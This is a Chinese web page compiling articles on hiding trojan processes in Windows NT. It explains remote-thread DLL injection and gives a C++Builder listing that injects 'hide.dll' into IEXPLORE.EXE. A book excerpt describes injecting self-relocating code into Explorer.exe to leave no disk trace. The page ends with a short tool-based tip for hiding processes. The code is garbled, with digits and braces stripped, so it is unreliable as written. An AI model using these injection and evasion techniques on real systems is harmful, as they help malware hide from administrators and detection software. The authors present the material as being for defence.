2024年10月Windows NT/系统进程的隐藏技术?谁知道进程隐藏技术

 更新时间:2024-10-12

  ⑴WindowsNT/系统进程的隐藏技术?谁知道进程隐藏技术

  ⑵WindowsNT/系统进程的隐藏技术

  ⑶摘要进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。

  ⑷关键字进程线程木马动态链接库

  ⑸木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

  ⑹本文分析了WindowsNT/系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/系统中进程的隐藏。

  ⑺在WIN/中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/的任务管理器,WindowsNT/的任务管理器均能轻松显示出木马进程,难道在WindowsNT/下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

  ⑻为了弄清实现方法,我们必须首先了解Windows系统的另一种“可执行文件“----DLL,DLL是DynamicLinkLibrary(动态链接库的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

  ⑼运行DLL方法有多种,但其中最隐蔽的.方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

  ⑽远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

  ⑾用ProcessNext(函数找到宿主进程,获取宿主进程ID,并用

  ⑿OpenProcess(函数打开宿主进程。

  ⒀用VirtualAllocEx(函数分配远程进程地址空间中的内存。

  ⒁用WriteProcessMemory(函数将待隐藏的DLL的路径名。

  ⒂拷贝到步骤二已经分配的内存中。

  ⒃用GetProcAddress(函数获取LoadlibraryA(函数的实地址(在kernel.dll中。

  ⒄用CreateRemoteThread(函数在远程进程中创建一个线程。

  ⒅它调用正确的LoadlibraryA(函数。

  ⒆为它传递步骤二中分配的内存地址。

  ⒇下面是在C++Builder.环境下编写的运用远程线程技术隐藏木马的程序代码:

  ⒈#include//该头文件包涵了进程操作的API函数

  ⒉#pragmahdrstop

  ⒊#include“Unit.h“

  ⒋#pragmapackage(smart_init)

  ⒌#pragmaresource“*.dfm“

  ⒍InsistingpszLibFileName;//存放待隐藏的DLL文件名

  ⒎HANDLEhProcessSnap=NULL;//进程快照句柄

  ⒏HANDLEhRemoteProcess;//远程进程句柄

  ⒐LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间

  ⒑HMODULEphmd;//存放kernel.dll句柄

  ⒒HANDLEhRemoteThread=NULL;//存放远程线程句柄

  ⒓TForm*Form;

  ⒔//---------------------------------------------------------

  ⒕__fastcallTForm::TForm(Tponent*Owner)

  ⒖:TForm(Owner)

  ⒗//---------------------------------------------------------

  ⒘void__fastcallTForm::ButtonClick(TObject*Sender)

  ⒙PROCESSENTRYpe={};

  ⒚DWORDdwRemoteProcessId;

  ⒛hProcessSnap=CreateToolhelpSnapshot(THCS_SNAPPROCESS,);

  if(hProcessSnap==(HANDLE)-)

  MessageBox(NULL,“CreateToolhelpSnapshotfailed“,““,MB_OK);

  pe.dwSize=sizeof(PROCESSENTRY);

  if(ProcessFirst(hProcessSnap,&pe))//获取第一个进程

  AnsiStringte;

  te=pe.szExeFile;

  if(te.Pos(“iexplore.exe“)||te.Pos(“IEXPLORE.EXE“))

  //找到宿主进程,以IEXPLORE.EXE为例

  {dwRemoteProcessId=pe.thProcessID;

  while(ProcessNext(hProcessSnap,&pe));//获取下一个进程

  MessageBox(NULL,“取第一个进程失败“,““,MB_OK);

  hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

  _OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

  pszLibFileName=GetCurrentDir()+““+“hide.dll“;

  //假设hide.dll是待隐藏的进程

  intcb=(+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度

  pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

  MEM_MIT,PAGE_READWRITE);

  //申请存放文件名的空间

  BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

  pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

  //把dll文件名写入申请的空间

  phmd=GetModuleHandle(“kernel.dll“);

  LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

  GetProcAddress(phmd,“LoadLibraryA“);

  //获取动态链接库函数地址

  hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,,

  pfnStartAddr,pszLibFileRemote,,NULL);

  if(hRemoteThread!=NULL)

  CloseHandle(hRemoteThread);//关闭远程线程

  if(hProcessSnap!=NULL)

  CloseHandle(hProcessSnap);//关闭进程快照

  该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。

  至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder.环境下编写并编译了下面的hide.dll作为测试:

  #pragmahdrstop

  #pragmaargsused

  BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

  charszProcessId;

  switch(reason)

  caseDLL_PROCESS_ATTACH:

  {//获取当前进程ID

  itoa(GetCurrentProcessId(),szProcessId,);

  MessageBox(NULL,szProcessId,“RemoteDLL“,MB_OK);

  returnTRUE;

  当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=,该测试DLL弹出了字样的确认框,同时使用PS工具

  ProcessID:

  C:WINNTIEXPLORE.EXE(x)

  C:WINNThide.dll(x)

  这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。

  进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。

  JeffreyRichter著王建华、张焕生、侯丽坤等译Windows核心编程机械工业出版社

  K.赖斯多夫H.亨德森著希望图书创作室译BorlandC++Builder实用培训教程.

  进程隐藏技术用得最多的地方就是在病毒和木马中,因为这些不适合出现在阳光下的程序,越隐蔽生存率就越高。在当今Windows环境下,病毒和木马流传得越来越广泛,让读者适当了解这方面的技术可以在防治方面起到积极的作用,技术这种东西就是这样,大家都知道的“秘技”也就不再是“秘技”了,所以,大家都知道了进程隐藏是怎么一回事,进程隐藏起来也就不那么隐蔽了。..在Windowsx中隐藏进程在Windowsx系列操作系统中,可以通过Kernel.dll中的一个未公开函数来完成隐藏功能,这个函数就是RegisterServiceProcess,该函数的功能是将一个进程注册为系统服务进程,由于Windows的任务管理器并不列出系统服务进程,所以可以用它来隐藏进程,不过该函数在WindowsNT系列中并不存在。RegisterServiceProcess函数的使用方法是:invokeRegisterServiceProcess,dwProcessID,dwFlagdwProcessID指明目标进程的进程ID,参数dwFlag指定是注册还是撤销,指定TRUE的话,进程被注册为系统服务进程,如果指定为FALSE,则进程的属性恢复为普通进程属性。Kernel.lib导入库中并没有这个函数的导入信息,如果要使用这个函数,程序需要自己装入库文件并使用GetProcAddress函数获取入口地址后使用(方法请复习第章。所附光盘的ChapterHideProcessx目录中的例子程序演示了该函数的使用方法。..WindowsNT中的远程线程在Windowsx中将进程注册为系统服务进程就能够从任务管理器中隐形,但在NT下就不同了。首先,NT下不存在RegisterServiceProcess函数;其次,NT的任务管理器会列出所有的进程(包括系统进程,即使一个进程将自己的可执行文件放在很隐蔽的目录中,文件名还是会被任务管理器列出来,所以想让别人看不见进程是不可能的。当然,如果不用进程也能运行程序的话,那是最好不过的办法了,但是不用进程是无法执行文件的。再从另一个角度考虑,如果进程显示的不是正确的名称呢,这也可以起到掩护作用,如果在DLL中执行我们的代码,系统报告的进程名称是装入DLL的进程的名称,而不是DLL本身的名称。在WindowsNT中还有另一种办法,那就是使用远程线程,使用它可以在其他进程中创建一个线程,由于线程是被所属进程拥有的,所以任务管理器中列出来的还是所属进程的名称。.WindowsNT的远程操作函数有两个函数可以用来实现上述功能:VirtualAllocEx和CreateRemoteThread。这两个函数都只能在WindowsNT下使用。VirtualAllocEx函数可以用来在其他进程的地址空间内申请内存,当然申请到的内存也是位于目标进程的地址空间内的,将这个函数和WriteProcessMemory函数配合就可以在目标进程的地址空间中“造”出任何东西来。在..节中已经介绍过虚拟内存管理函数VirtualAlloc,VirtualAllocEx函数就是这个函数的扩充,相比之下,VirtualAllocEx函数多了一个参数hProcess,其他参数定义和使用的方法都和VirtualAlloc函数相同,读者可以回过头去查看这些参数的用法。新增的hProcess参数用来指定要申请内存的进程句柄,如果需要在目标进程中使用VirtualAllocEx函数,那么必须对进程拥有PROCESS_VM_OPERATION权限。如果内存申请成功,函数返回一个指针,指向申请到的内存块,当然这个指针是针对目标进程的地址空间的。如果内存申请失败,函数返回NULL。CreateRemoteThread函数用来在其他进程内创建一个线程,当然创建的线程是运行于目标进程的地址空间内的,它和目标进程自己创建的线程并没有什么区别。函数的用法是:该函数是CreateThread函数的扩充,与CreateThread相比,CreateRemoteThread函数多了一个hProcess参数,其他所有参数的定义和用法都与CreateThread的参数相同。hProcess用来指定要创建线程的目标进程句柄。注意:lpStartAddress指向的线程函数的地址是位于目标进程的地址空间内的。如果需要在目标进程中使用CreateRemoteThread函数,那么必须对进程拥有PROCESS_CREATE_THREAD权限。使用VirtualAllocEx和CreateRemoteThread函数,再配合WriteProcessMemory函数,就能够让一段代码在其他进程中运行,由于远程线程是属于目标进程的,所以在任务管理器中不会产生新的进程,事实上,谁也不会发现列出的某个进程中会多了一个不属于它自己控制的线程。整个实现的过程归纳如下:(使用VirtualAllocEx函数在目标进程中申请一块内存,内存块的长度必须能够容纳线程使用的代码和数据,内存块的属性应该是PAGE_EXECUTE_READWRITE,这样拷贝到内存块中的代码就可以被执行。(使用WriteProcessMemory函数将需要在远程线程中执行的代码(包括它使用的数据拷贝到第(步申请到的内存块中。(使用CreateRemoteThread函数创建远程线程。.远程线程存在的技术问题实现远程线程的框架结构已经搭好了,但是在具体的实现中还有一些技术问题需要解决,归纳起来主要有两点:代码的重定位问题和函数的导入问题。这时候,AFCF机器码还是被解释为存取FFCh地址,而实际的变量地址已经被搬到FFCh处了,这就是说,指令存取的是错误的地址,所以这段指令要想正常执行,就必须放在h地址开始的地方,如果想搬到别的地方去执行,就必须对访问全局变量的指令进行修正,这就是重定位的问题由此可见,如果想把这段指令放到远程线程中去执行,由于无法保证将代码放到h处,所以几乎可以肯定它是不能正常工作的,但是根据代码最后执行的实际位置来修正某些指令的话,在远程线程中执行它还是可行的。对于高级语言来说,重定位问题是个致命的问题,是根本不可能解决的,因为高级语言无法在机器码级别上进行细微的操作,所以,即使在相对比较低级的C语言中也无法将一段代码拷贝到远程线程中去执行,大部分的教科书和资料在介绍远程线程的时候,都采用了变通的方法,就是将DLL嵌入到目标进程中去执行。如JeffreyRicher的《Windows高级编程指南》中就介绍了使用远程线程将DLL注入目标进程的方法,其实实现步骤是将需要远程执行的代码写到一个DLL中,然后在目标进程中申请一块内存并将DLL文件名写入,最后将目标进程地址空间中的LoadLibrary函数当做线程函数来执行,输入的参数就是前面的DLL文件名,这样LoadLibrary函数执行到ret的时候,远程线程结束,但是DLL也被装入了目标进程中,只要在DLL的入口函数中创建一个新的线程,就可以执行我们的代码了,在所附光盘的ChapterRemoteThreadDll中的例子演示了这种方法的汇编版本,程序将一个DLL文件插入到文件管理器Explorer.exe中运行,有兴趣的读者可以自己查看一下。虽然DLL文件在目标进程中运行的时候,任务管理器中不会列出DLL文件名,看到的只是目标进程的文件名,但是有一些工具可以查看一个进程究竟装入了哪些DLL文件,通过这些工具还是可以发现进程中的可疑DLL。要彻底解决这个问题,就必须脱离DLL文件,让远程运行的代码只存在于内存中,这样就不会有任何的蛛丝马迹显示有某个文件被非法装入,这个问题的关键也就是这个重定位问题。但现在Win汇编程序员可以很骄傲地说“我可以实现它”,因为自定位的代码正是汇编语言的拿手好戏,在快成为历史的DOS病毒中,十个病毒中就有九个用到了自定位技术,这些技术完全可以用在这个地方。自定位技术其实很简单,观察下面这段代码:在程序开始,首先获取LoadLibrary,GetProcAddress和GetModuleHandle函数的入口地址,这些地址将在远程线程中被用来获取其他API的入口地址。接下来就是打开Explorer.exe进程的操作,程序通过GetWindowThreadProcessId和OpenProcess函数来完成,函数中使用的窗口句柄是桌面的窗口句柄,因为桌面就是由文件管理器进程创建的,桌面的窗口类是“Progman”,窗口名称是“ProgramManager”,使用FindWindow函数就可以很方便地找到它。在打开进程的时候必须包括对应的权限,PROCESS_CREATE_THREAD权限将允许创建远程线程,PROCESS_VM_OPERATION权限将允许在目标进程中分配内存并将远程代码写到里面。程序使用VirtualAllocEx函数在目标进程中分配内存,在分配内存的时候,内存属性必须指定为PAGE_EXECUTE_READWRITE,这样分配到的内存可以有执行和读写的权限,分配方式必须指定为MEM_MIT,这样内存才会被提交到物理内存中去。在分配到内存以后,程序使用WriteProcessMemory将远程代码写入,然后再一次将LoadLibrary,GetProcAddress和GetModuleHandle函数的地址写入到远程代码的数据段中。并不将这个函数的地址存放到远程代码中一次性写入的原因在于:远程代码(包括远程代码使用的数据是定义在本地的代码段中的,而本地的代码段是只读的,我们无法在本地对它们进行写入初始化数据的操作,所以只好采用远程写入的方式。最后,用CreateRemoteThread函数创建远程线程后就万事大吉了。编译链接以后运行可执行文件可看到,窗口正常出现了,一眼看上去,这个窗口和别的窗口没有任何不同!但是在任务管理器中却没有多出任何新的进程。假如远程线程不是这样“招摇过市”地创建了一个窗口,而是在后台偷偷地运行的话,大家能不能从各种蛛丝马迹来发现它的存在呢?反正笔者是找不到它的,因为它仅存在于目标进程的内存中,并不对应任何磁盘文件,当远程线程被执行的时候,惟一可以发现的就是Explorer.exe进程中的活动线程多了一个,使用的内存多了一点而已,但是活动线程用工具软件查看也只能看到一个线程ID,又怎么知道这个线程不是Explorer.exe进程自己的呢?以上代码用在不合适的地方可能产生危害,笔者第一次公开这段代码,其目的就是希望能对有害代码的防治起到积极的作用,请读者负责任地使用这段代码。

  在win位系统里面如何实现进程隐藏

  使用第三方工具来隐藏进程。、百度搜索下载HideToolz,双击打开该压缩包,再直接双击该软件即可打开该软件了。并且在软件里面可以看见目前的进程数为多少个;、启动任务管理器,在HideToolz里面找到想要隐藏的运行程序,鼠标单击右键,选择隐藏;、然后在任务管理器里面就很清楚的看见想隐藏的运行程序已经不见了。以上教程内容就是win隐藏进程的详细步骤,有需要的用户们不妨可以按照上面的方法步骤进行操作吧,希望此教程内容对大家有所帮助!

您可能感兴趣的文章:

相关文章